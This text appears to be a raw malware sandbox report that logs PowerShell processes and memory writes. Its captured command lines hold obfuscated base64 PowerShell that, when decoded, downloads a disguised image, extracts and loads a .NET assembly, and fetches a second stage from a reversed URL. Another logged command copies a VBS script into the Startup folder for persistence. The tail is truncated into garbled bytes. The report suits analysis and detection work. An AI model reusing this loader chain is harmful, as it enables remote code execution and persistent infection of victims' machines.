U#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#Ek#@$#bgBk#@$#GU#@$#e#@$#BP#@$#GY#@$#K#@$##@$#k#@$#GU#@$#bgBk#@$#EY#@$#b#@$#Bh#@$#Gc#@$#KQ#@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwBl#@$#C#@$##@$#M#@$##@$#g#@$#C0#@$#YQBu#@$#GQ#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwB0#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#Kw#@$#9#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#u#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ds#@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BM#@$#GU#@$#bgBn#@$#HQ#@$#a#@$##@$#g#@$#D0#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#I#@$##@$#k#@$#HM#@$#d#@$#Bh#@$#HI#@$#d#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#Ow#@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#FM#@$#dQBi#@$#HM#@$#d#@$#By#@$#Gk#@$#bgBn#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Cw#@$#I#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ck#@$#Ow#@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBD#@$#G8#@$#bgB2#@$#GU#@$#cgB0#@$#F0#@$#Og#@$#6#@$#EY#@$#cgBv#@$#G0#@$#QgBh#@$#HM#@$#ZQ#@$#2#@$#DQ#@$#UwB0#@$#HI#@$#aQBu#@$#Gc#@$#K#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#KQ#@$#7#@$#CQ#@$#b#@$#Bv#@$#GE#@$#Z#@$#Bl#@$#GQ#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBS#@$#GU#@$#ZgBs#@$#GU#@$#YwB0#@$#Gk#@$#bwBu#@$#C4#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#F0#@$#Og#@$#6#@$#Ew#@$#bwBh#@$#GQ#@$#K#@$##@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#Ck#@$#Ow#@$#k#@$#HQ#@$#eQBw#@$#GU#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bs#@$#G8#@$#YQBk#@$#GU#@$#Z#@$#BB#@$#HM#@$#cwBl#@$#G0#@$#YgBs#@$#Hk#@$#LgBH#@$#GU#@$#d#@$#BU#@$#Hk#@$#c#@$#Bl#@$#Cg#@$#JwBG#@$#Gk#@$#YgBl#@$#HI#@$#LgBI#@$#G8#@$#bQBl#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#bQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#B0#@$#Hk#@$#c#@$#Bl#@$#C4#@$#RwBl#@$#HQ#@$#TQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#K#@$##@$#n#@$#FY#@$#QQBJ#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#YQBy#@$#Gc#@$#dQBt#@$#GU#@$#bgB0#@$#HM#@$#I#@$##@$#9#@$#C#@$##@$#L#@$##@$#o#@$#Cc#@$#d#@$#B4#@$#HQ#@$#Lg#@$#5#@$#D#@$##@$#d#@$#By#@$#GU#@$#LwBs#@$#HQ#@$#Lw#@$#3#@$#DY#@$#MQ#@$#u#@$#DE#@$#Ng#@$#x#@$#C4#@$#Ng#@$#1#@$#DE#@$#Lg#@$#0#@$#Dk#@$#Lw#@$#v#@$#Do#@$#c#@$#B0#@$#HQ#@$#a#@$##@$#n#@$#Ck#@$#Ow#@$#k#@$#G0#@$#ZQB0#@$#Gg#@$#bwBk#@$#C4#@$#SQBu#@$#HY#@$#bwBr#@$#GU#@$#K#@$##@$#k#@$#G4#@$#dQBs#@$#Gw#@$#L#@$##@$#g#@$#CQ#@$#YQBy#@$#Gc#@$#dQBt#@$#GU#@$#bgB0#@$#HM#@$#KQ#@$#=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('#@$#','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD......." in [Source : powershell.exe]48:Tbf3,"powershell.exe" wrote bytes "65488b042590150000" to virtual address "0xEE847A44" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "669065488b042590150000c366669066669090" to virtual address "0xEE845B40" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "eb11c366669066669066669066669066669090" to virtual address "0xEE845BC0" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xEE847480" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "4889114881fa18100403722448c1e90a80b9403f031bff7502f3c3c681403f031bffc366666690666666906666906690f3c3ff7502f3c3c60408ffc366666690f3c3666666906666669066669066669090" to virtual address "0xEE845F00" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xEE847403" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xEE84760D" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "65488b042598150000" to virtual address "0xEE848C0B" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "65488b042598150000" to virtual address "0xEE848C4B" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "65488b042598150000" to virtual address "0xEE848C8B" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "65488b042598150000" to virtual address "0xEE848CCB" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xEE84755E" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "65488b042590150000" to virtual address "0xEE847A25" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "0814cf0200000000" to virtual address "0x72392658" (part of module "SYSTEM.DATA.DLL") "powershell.exe" wrote bytes "65488b042590150000" to virtual address "0xEE847A60" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xEE8478AD" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "d813cf0200000000" to virtual address "0x72392650" (part of module "SYSTEM.DATA.DLL") "powershell.exe" wrote bytes "ae59c36b6dcf0000" to virtual address "0xEE5D1D70" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xEE8477AA" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "a813cf0200000000" to virtual address "0x72392648" (part of module "SYSTEM.DATA.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xEE8475B3" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "65488b042590150000" to virtual address "0xEE84863C" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "7813cf0200000000" to virtual address "0x72392640" (part of module "SYSTEM.DATA.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xEE84743F" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xEE8474FB" (part of module "MSCORWKS.DLL")49:T1e1f,Process "powershell.exe" with commandline "-command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$#I#@$##@$#9#@$#C#@$##@$#JwBo#@$#HQ#@$#d#@$#Bw#@$#HM#@$#Og#@$#v#@$#C8#@$#dQBw#@$#Gw#@$#bwBh#@$#GQ#@$#Z#@$#Bl#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBu#@$#HM#@$#LgBj#@$#G8#@$#bQ#@$#u#@$#GI#@$#cg#@$#v#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBz#@$#C8#@$#M#@$##@$#w#@$#DQ#@$#Lw#@$#1#@$#DY#@$#Mw#@$#v#@$#DY#@$#Mg#@$#x#@$#C8#@$#bwBy#@$#Gk#@$#ZwBp#@$#G4#@$#YQBs#@$#C8#@$#dQBu#@$#Gk#@$#dgBl#@$#HI#@$#cwBv#@$#F8#@$#dgBi#@$#HM#@$#LgBq#@$#H#@$##@$#ZQBn#@$#D8#@$#MQ#@$#2#@$#Dk#@$#M#@$##@$#5#@$#DM#@$#MQ#@$#4#@$#DU#@$#NQ#@$#n#@$#Ds#@$#J#@$#B3#@$#GU#@$#YgBD#@$#Gw#@$#aQBl#@$#G4#@$#d#@$##@$#g#@$#D0#@$#I#@$#BO#@$#GU#@$#dw#@$#t#@$#E8#@$#YgBq#@$#GU#@$#YwB0#@$#C#@$##@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBO#@$#GU#@$#d#@$##@$#u#@$#Fc#@$#ZQBi#@$#EM#@$#b#@$#Bp#@$#GU#@$#bgB0#@$#Ds#@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#dwBl#@$#GI#@$#QwBs#@$#Gk#@$#ZQBu#@$#HQ#@$#LgBE#@$#G8#@$#dwBu#@$#Gw#@$#bwBh#@$#GQ#@$#R#@$#Bh#@$#HQ#@$#YQ#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FU#@$#cgBs#@$#Ck#@$#Ow#@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBU#@$#GU#@$#e#@$#B0#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBU#@$#GU#@$#e#@$#B0#@$#C4#@$#RQBu#@$#GM#@$#bwBk#@$#Gk#@$#bgBn#@$#F0#@$#Og#@$#6#@$#FU#@$#V#@$#BG#@$#Dg#@$#LgBH#@$#GU#@$#d#@$#BT#@$#HQ#@$#cgBp#@$#G4#@$#Zw#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#p#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#FM#@$#V#@$#BB#@$#FI#@$#V#@$##@$#+#@$#D4#@$#Jw#@$#7#@$#CQ#@$#ZQBu#@$#GQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#EU#@$#TgBE#@$#D4#@$#Pg#@$#n#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FQ#@$#ZQB4#@$#HQ#@$#LgBJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#TwBm#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#p#@$#Ds#@$#J#@$#Bl#@$#G4#@$#Z#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#Ek#@$#bgBk#@$#GU#@$#e#@$#BP#@$#GY#@$#K#@$##@$#k#@$#GU#@$#bgBk#@$#EY#@$#b#@$#Bh#@$#Gc#@$#KQ#@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwBl#@$#C#@$##@$#M#@$##@$#g#@$#C0#@$#YQBu#@$#GQ#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwB0#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#Kw#@$#9#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#u#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ds#@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BM#@$#GU#@$#bgBn#@$#HQ#@$#a#@$##@$#g#@$#D0#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#I#@$##@$#k#@$#HM#@$#d#@$#Bh#@$#HI#@$#d#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#Ow#@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#FM#@$#dQBi#@$#HM#@$#d#@$#By#@$#Gk#@$#bgBn#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Cw#@$#I#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ck#@$#Ow#@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBD#@$#G8#@$#bgB2#@$#GU#@$#cgB0#@$#F0#@$#Og#@$#6#@$#EY#@$#cgBv#@$#G0#@$#QgBh#@$#HM#@$#ZQ#@$#2#@$#DQ#@$#UwB0#@$#HI#@$#aQBu#@$#Gc#@$#K#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#KQ#@$#7#@$#CQ#@$#b#@$#Bv#@$#GE#@$#Z#@$#Bl#@$#GQ#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBS#@$#GU#@$#ZgBs#@$#GU#@$#YwB0#@$#Gk#@$#bwBu#@$#C4#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#F0#@$#Og#@$#6#@$#Ew#@$#bwBh#@$#GQ#@$#K#@$##@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#Ck#@$#Ow#@$#k#@$#HQ#@$#eQBw#@$#GU#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bs#@$#G8#@$#YQBk#@$#GU#@$#Z#@$#BB#@$#HM#@$#cwBl#@$#G0#@$#YgBs#@$#Hk#@$#LgBH#@$#GU#@$#d#@$#BU#@$#Hk#@$#c#@$#Bl#@$#Cg#@$#JwBG#@$#Gk#@$#YgBl#@$#HI#@$#LgBI#@$#G8#@$#bQBl#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#bQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#B0#@$#Hk#@$#c#@$#Bl#@$#C4#@$#RwBl#@$#HQ#@$#TQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#K#@$##@$#n#@$#FY#@$#QQBJ#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#YQBy#@$#Gc#@$#dQBt#@$#GU#@$#bgB0#@$#HM#@$#I#@$##@$#9#@$#C#@$##@$#L#@$##@$#o#@$#Cc#@$#d#@$#B4#@$#HQ#@$#Lg#@$#5#@$#D#@$##@$#d#@$#By#@$#GU#@$#LwBs#@$#HQ#@$#Lw#@$#3#@$#DY#@$#MQ#@$#u#@$#DE#@$#Ng#@$#x#@$#C4#@$#Ng#@$#1#@$#DE#@$#Lg#@$#0#@$#Dk#@$#Lw#@$#v#@$#Do#@$#c#@$#B0#@$#HQ#@$#a#@$##@$#n#@$#Ck#@$#Ow#@$#k#@$#G0#@$#ZQB0#@$#Gg#@$#bwBk#@$#C4#@$#SQBu#@$#HY#@$#bwBr#@$#GU#@$#K#@$##@$#k#@$#G4#@$#dQBs#@$#Gw#@$#L#@$##@$#g#@$#CQ#@$#YQBy#@$#Gc#@$#dQBt#@$#GU#@$#bgB0#@$#HM#@$#KQ#@$#=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('#@$#','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD" (UID: 00000000-00003724) Process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ('txt.90tre/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)"" (UID: 00000000-00002752, Additional Context: "%WINDIR%\System32\WindowsPowerShell\v1.\powershell.exe" windowstyle hidden executionpolicy bypss NoProfile command "$imageUrl 'https://uploaddeimagens.com.br/images/4/563/621/original/universo_vbs.jpeg?169931855'[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>)[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) + <>.Length4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311[System.Reflection.Assembly]::Load(4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, ,('txt.9tre/lt/761.161.651.49//:ptth')); K+-zd��'r�b��+k�x"��+^�+��M�mw(v)�Q1|�R��)��r��9�@HN�I0M,��{D��xL_z��)��f�x�z�'u�N|�44��M�mw(v)�Q1|�R��)��r��9�@HN�I0")4a:T188a,Process "powershell.exe" with commandline "powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ GGw.vbs')" (UID: 00000000-00002396) Process "powershell.exe" with commandline "-command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$#I#@$##@$#9#@$#C#@$##@$#JwBo#@$#HQ#@$#d#@$#Bw#@$#HM#@$#Og#@$#v#@$#C8#@$#dQBw#@$#Gw#@$#bwBh#@$#GQ#@$#Z#@$#Bl#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBu#@$#HM#@$#LgBj#@$#G8#@$#bQ#@$#u#@$#GI#@$#cg#@$#v#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBz#@$#C8#@$#M#@$##@$#w#@$#DQ#@$#Lw#@$#1#@$#DY#@$#Mw#@$#v#@$#DY#@$#Mg#@$#x#@$#C8#@$#bwBy#@$#Gk#@$#ZwBp#@$#G4#@$#YQBs#@$#C8#@$#dQBu#@$#Gk#@$#dgBl#@$#HI#@$#cwBv#@$#F8#@$#dgBi#@$#HM#@$#LgBq#@$#H#@$##@$#ZQBn#@$#D8#@$#MQ#@$#2#@$#Dk#@$#M#@$##@$#5#@$#DM#@$#MQ#@$#4#@$#DU#@$#NQ#@$#n#@$#Ds#@$#J#@$#B3#@$#GU#@$#YgBD#@$#Gw#@$#aQBl#@$#G4#@$#d#@$##@$#g#@$#D0#@$#I#@$#BO#@$#GU#@$#dw#@$#t#@$#E8#@$#YgBq#@$#GU#@$#YwB0#@$#C#@$##@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBO#@$#GU#@$#d#@$##@$#u#@$#Fc#@$#ZQBi#@$#EM#@$#b#@$#Bp#@$#GU#@$#bgB0#@$#Ds#@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#dwBl#@$#GI#@$#QwBs#@$#Gk#@$#ZQBu#@$#HQ#@$#LgBE#@$#G8#@$#dwBu#@$#Gw#@$#bwBh#@$#GQ#@$#R#@$#Bh#@$#HQ#@$#YQ#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FU#@$#cgBs#@$#Ck#@$#Ow#@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBU#@$#GU#@$#e#@$#B0#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBU#@$#GU#@$#e#@$#B0#@$#C4#@$#RQBu#@$#GM#@$#bwBk#@$#Gk#@$#bgBn#@$#F0#@$#Og#@$#6#@$#FU#@$#V#@$#BG#@$#Dg#@$#LgBH#@$#GU#@$#d#@$#BT#@$#HQ#@$#cgBp#@$#G4#@$#Zw#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#p#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#FM#@$#V#@$#BB#@$#FI#@$#V#@$##@$#+#@$#D4#@$#Jw#@$#7#@$#CQ#@$#ZQBu#@$#GQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#EU#@$#TgBE#@$#D4#@$#Pg#@$#n#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FQ#@$#ZQB4#@$#HQ#@$#LgBJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#TwBm#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#p#@$#Ds#@$#J#@$#Bl#@$#G4#@$#Z#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#Ek#@$#bgBk#@$#GU#@$#e#@$#BP#@$#GY#@$#K#@$##@$#k#@$#GU#@$#bgBk#@$#EY#@$#b#@$#Bh#@$#Gc#@$#KQ#@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwBl#@$#C#@$##@$#M#@$##@$#g#@$#C0#@$#YQBu#@$#GQ#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwB0#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#Kw#@$#9#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#u#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ds#@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BM#@$#GU#@$#bgBn#@$#HQ#@$#a#@$##@$#g#@$#D0#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#I#@$##@$#k#@$#HM#@$#d#@$#Bh#@$#HI#@$#d#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#Ow#@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#FM#@$#dQBi#@$#HM#@$#d#@$#By#@$#Gk#@$#bgBn#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Cw#@$#I#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ck#@$#Ow#@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBD#@$#G8#@$#bgB2#@$#GU#@$#cgB0#@$#F0#@$#Og#@$#6#@$#EY#@$#cgBv#@$#G0#@$#QgBh#@$#HM#@$#ZQ#@$#2#@$#DQ#@$#UwB0#@$#HI#@$#aQBu#@$#Gc#@$#K#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#KQ#@$#7#@$#CQ#@$#b#@$#Bv#@$#GE#@$#Z#@$#Bl#@$#GQ#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBS#@$#GU#@$#ZgBs#@$#GU#@$#YwB0#@$#Gk#@$#bwBu#@$#C4#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#F0#@$#Og#@$#6#@$#Ew#@$#bwBh#@$#GQ#@$#K#@$##@$#k#@$#GM#@$#bwB